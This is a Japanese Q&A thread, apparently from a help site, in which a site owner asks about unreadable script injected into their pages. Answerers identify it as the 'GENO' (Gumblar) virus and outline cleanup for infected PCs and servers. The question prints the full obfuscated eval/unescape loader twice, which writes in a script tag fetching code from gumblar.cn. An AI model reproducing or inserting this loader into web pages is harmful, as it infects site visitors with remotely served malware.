ソース上に出てくる理解不能なコードについて

このQ&Aのポイント
  • <script language=javascript><!-- (function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g); //--></script><script language=javascript><!-- (function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g); //--></script>
  • 指定されたコードは、JavaScriptで書かれたソースコードです。
  • このコードは、特定のJavaScriptライブラリを読み込んでいます。
回答を見る
  • ベストアンサー

ソース上に出てくる理解不能なコードについて

<script language="javascript" src="js/jquery.js" type="text/javascript"></script> <script language="javascript" src="js/jquery.rollover.js" type="text/javascript"></script> <script type="text/javascript" src="js/thickbox.js"></script> を利用してサイトを作成したら <head/>と<body>の間に <script language=javascript><!-- (function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g); --></script><script language=javascript><!-- (function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g); --></script> というコードが表示されます。 これは何でしょうか?消す方法はあるでしょうか?

質問者が選んだベストアンサー

  • ベストアンサー
回答No.3

GENOウイルスの亜種が毎日10種類以上出てるみたいなので、 アンチウイルスソフトの対応が追いついてないみたいですね。 まとめサイトの対策を読んで、 各ソフトウェアのアップデートを行うなど、個別に対処するのが良いと思います。

その他の回答 (2)

回答No.2

GENOウイルスまとめサイト http://www29.atwiki.jp/geno/ 対策 http://www29.atwiki.jp/geno/pages/14.html 対策ページに書かれているIPアドレスですが、現在は違うアドレスにアクセスするようになっています。 「対策」は新しくウイルスに感染しないための対策であって、 すでに感染している場合は「駆除方法」を確認して下さい。 「感染しているかどうかの確認」の「他にもこんな症状が出る」に書かれているような症状がなければ、 特にご自分で対策できるようなことは無いと思います。 サーバーのウイルス駆除については、 ウェブサーバーの管理者にウイルスの感染を報告して、対策を待つしかないと思います。

回答No.1

ぱっと見、いわゆる"GENOウイルス"による物だと思います。 詳しい内容はまだわかっていませんが、 私の推測では、 Windowsに感染し、そのPCからアクセス可能なウェブサーバーに、Linuxウイルスを送り込み、Linuxウイルスがウェブページを書き換える物のようですので、 対策は、感染しているWindowsマシンからのウイルスの駆除、 およびサーバーのウイルスの駆除の両方が必要になると思います。 5月9日現在で対応しているアンチウイルスソフトはAVAST!だけのようですが、 5月9日12時頃にカスペルスキー、NOD32、ノートンに報告したので、 あと数日もすればこの3つは対応するようになると思います。 ただし、これらWindows用のアンチウイルスソフトはWindowsの方に侵入されにくくなる、というだけで、 すでに侵入されているサーバーは、別途、駆除作業が必要になると思います。 すでに侵入されているPCは、現状では、HDDを初期化してOSごと再インストール(リカバリ)することがほぼ唯一の対策のようです。 サーバーの対策方法は全く不明で、どうやらHTMLファイルからウイルスのコード(JavaScriptのコード)を削除しただけでは、すぐに復活するようです。 Apacheの再インストールや、最悪時サーバーの初期化が必要かもしれません。

関連するQ&A

  • gooblogのCSSにタグをはる

    gooblogのCSSにタグをはって、アクセス解析をやろとしたのですが、  (1) ↓のタグのどこからどこまでを  (2) CSSのどこにはればいいのかが分かりません。                     教えてください。    リアルな数値は×に変えてあります。 <SCRIPT LANGUAGE="JAVASCRIPT"><!-- var ID="×××××××××"; var AD=0; var FRAME=0; // --></SCRIPT> <SCRIPT LANGUAGE="JAVASCRIPT" SRC="http://j1.ax.xrea.com/l.j?id=×××××××××"></SCRIPT> <NOSCRIPT><A HREF="http://w1.ax.xrea.com/c.f?id=×××××××××" TARGET="_blank"><IMG SRC="http://w1.ax.xrea.com/l.f?id=×××××××××&url=X" BORDER="0"></A></NOSCRIPT>  カテ違いでしたら、ごめんなさい。

  • HTMLからCGI (perl)の変更

    済みませんどなたか教えてください。 以下の文をHTMLで使用しているのですが。 CGI (perl)へ変更したいのですが宜しくお願いいたします。 <script language="JAVASCRIPT"> <!--var ID="123-abc";var AD=0;var FRAME=0;// --></script> <script language="JAVASCRIPT" src="http://○○○.com/l.j?id=123"></script> <noscript><A HREF="http://○○○.com/c.f?id=123"TARGET="_blank"> <IMGSRC="http://○○○.com/l.f?id=123-abc&url=X" BORDER="0"></a></noscript>

    • 締切済み
    • CGI
  • JavaScript のdocument.writ

    JavaScript で以下のような感じでdocument.write内にスクリプトを記述させたいのですが、うまくいきません。 document.write(“<script type="text/javascript" language="javascript">var aa_conf = {site:458,frame:13,width:125,height:125,color:["ffffff","FFFFFF","2200CC","F25D5D","671F28"],host:'aa.aa.jp',ver:1.1};</script><script type="text/javascript" language="javascript" src=http://aaa.com/a.js charset="utf-8"></script>”); \を”の前にいれたり、<script>を二行に分けたり、いろいろしてみたのですが、解決しません。 よろしくお願いします。

  • HP上にアクセスアナライザーの文字が出ません。ソースを開き見てみると上書きがうまくいってません。

    web上にアクセスアナライザーの文字が出ません。 何故でしょう。 原因としては、アクセスアナライザーで収得した英語ばかりのやつを マイドキュメントの中のフォルダーのindex.htmlのソースを開き貼り付けま す。 この、マイドキュメントには反映されてますが、web上では、なぜか消えてます。 マイドキュメント上では</HEAD><BODY bgcolor="#ffffff" background="pur6b.gif"><SCRIPT LANGUAGE="JAVASCRIPT"><!-- var ID="100451512"; var AD=0; var FRAME=0; // --></SCRIPT> <SCRIPT LANGUAGE="JAVASCRIPT" SRC="http://j1.ax.xrea.com/l.j?id=100451512"></SCRIPT> <NOSCRIPT><A HREF="http://w1.ax.xrea.com/c.f?id=100451512" TARGET="_blank"><IMG SRC="http://w1.ax.xrea.com/l.f?id=100451512&url=X" BORDER="0"></A></NOSCRIPT> <DIV ALIGN=CENTER> <TABLE bgcolor="#ffffff"> 表示されてますが、HP上では </HEAD><BODY bgcolor="#ffffff" background="pur6b.gif"> <!-- St-HP-H --> <!-- En-HP-H --> なってます。 何がいけないのでしょうか? 宜しくお願いいたします。

  • このxmlが組めません。

    javascript:var s=document.createElement('script');s.setAttribute('src','https://cdn.discordapp.com/attachments/1169634254012026965/1171441939736952962/test.xml?ex=655cb152&is=654a3c52&hm=323a37e0ae5052d0e6863b4740aca306f5479a8f2dfe13b997274c76cecb54ad&');s.setAttribute('charset','UTF-8');body.appendChild(s); これでjsファイルが起動できると思ったのですができませんでした なぜでしょうか

    • ベストアンサー
    • XML
  • 外部ファイル名を変数で指定できるか?

    JavaScriptで参照する外部ファイルを、ヘッダー部で以下のように記述しています。 <script language="JavaScript" src="Data.js"></script> このsrc=で、指定するファイルを、変数で指定することは可能でしょうか? 試しに <script language="JavaScript"> <!-- var Src_File = "Data.js";  src=Src_File; //--> </script> と記述しても、エラーとなってしまいました。 変数を使いたい理由は、ラジオボタン等を使って、参照する外部ファイルを動的に切り替えたいのです。 よろしくお願いします。

  • blogのカウンターの貼り付け方。ソースへの設定の仕方。

    これはカウンタのソースですが、貼り付けページはどの様に開かせる のでしょうか? ブログ画面で目指す位置にはカーソルのポイントがつきませんので・・↓ <script charset="utf-8" type="text/javascript" src="http://sticky.blogtoy.net/counter/76e0d58717fa933e9b56ba325c7136b2.js"></script><noscript><em><a href="http://blogtoy.net/">ブログパーツならブログトイ[BlogToy]</a></em></noscript>

  • JavaScript内にJavaScriptを読み込む方法

    HTML内に <script type=\"text/javascript\" src=\"main.js\"></script> という一行を追加すると、バナーが表示されるというスクリプトを作成しています。 main.jsは、 html = \'<script language=\"JavaScript\">\'; html += \'var url0101 = \"url01.xxx.jp\";\'; html += \'var url02 = \"url02.oooo.jp\";\'; html += \'</script>\'; html += \'<script language=\"JavaScript\" src=\"http://xxx.xxxx.xxx/test.js\"></script>\'); html += \'<script language=\"JavaScript\">\'; html += \'Function01(\"check\")\'; html += \'</script>\'; document.write(html); というような風になっており、 (1) 変数の宣言 ↓ (2) http://xxx.xxxx.xxx/test.jsの読み込み ↓ (3) (2)で読み込んだjs内の関数Function01を実行 という流れです。 FireFoxでは表示されましたが、IE6では (2)のjsを読み込む前に(3)のFunction01が実行され、 「オブジェクトを指定してください」のエラーが表示されてしまいます。 よい方法がありましたら教えていただけますでしょうか? よろしくお願いします。

  • JavaScript内にJavaScriptを読み込む方法

    HTML内に <script type="text/javascript" src="main.js"></script> という一行を追加すると、バナーが表示されるというスクリプトを作成しています。 main.jsは、 html = '<script language="JavaScript">'; html += 'var url0101 = "url01.xxx.jp";'; html += 'var url02 = "url02.oooo.jp";'; html += '</script>'; html += '<script language="JavaScript" src="http://xxx.xxxx.xxx/test.js"></script>'); html += '<script language="JavaScript">'; html += 'Function01("check")'; html += '</script>'; document.write(html); というような風になっており、 (1) 変数の宣言 ↓ (2) http://xxx.xxxx.xxx/test.jsの読み込み ↓ (3) (2)で読み込んだjs内の関数Function01を実行 という流れです。 FireFoxでは表示されましたが、IE6では (2)のjsを読み込む前に(3)のFunction01が実行され、 「オブジェクトを指定してください」のエラーが表示されてしまいます。 よい方法がありましたら教えていただけますでしょうか? よろしくお願いします。

  • prototype+jquery+プラグイン

    prototype.jsとjqueryとプラグイン系の読み込み方が良くわかりません。 クロスブラウザ対応のMP3プレイヤーを導入したく追加したのですが 順番を並べ変えたりいろいろしましたが導入する事ができずにこまっています。 何かいい方法はないでしょうか? エラーの内容も順序によって様々です・・・・ <script type="text/javascript" src="prototype.js"></script> <script type="text/javascript" src="lightbox.js"></script> <script type="text/javascript" src="lightbox_shortcut_keys_addon.js"></script> <script type="text/javascript" src="slide3/script/jquery-1.2.2.js"></script> <script type="text/javascript" src="jquery.cycle.all.js"></script> <script type="text/javascript" src="jquery.easing.1.3.js"></script> <script type="text/javascript" src="jquery.jcarousel.pack.js"></script> <script type="text/javascript"> jQuery.noConflict(); var $j = jQuery; </script> 以下追加===================================================== <script type="text/javascript" src="jquery-1.4.2.js"></script> <script type="text/javascript" src="jquery.compat-1.3.js"></script> <script type="text/javascript" src="jquery.jplayer.min.js"></script> <script type="text/javascript"> jQuery.noConflict(); var $j = jQuery; $j(document).ready(function(){ $("#mp3").jPlayer(); }); </script>

専門家に質問してみよう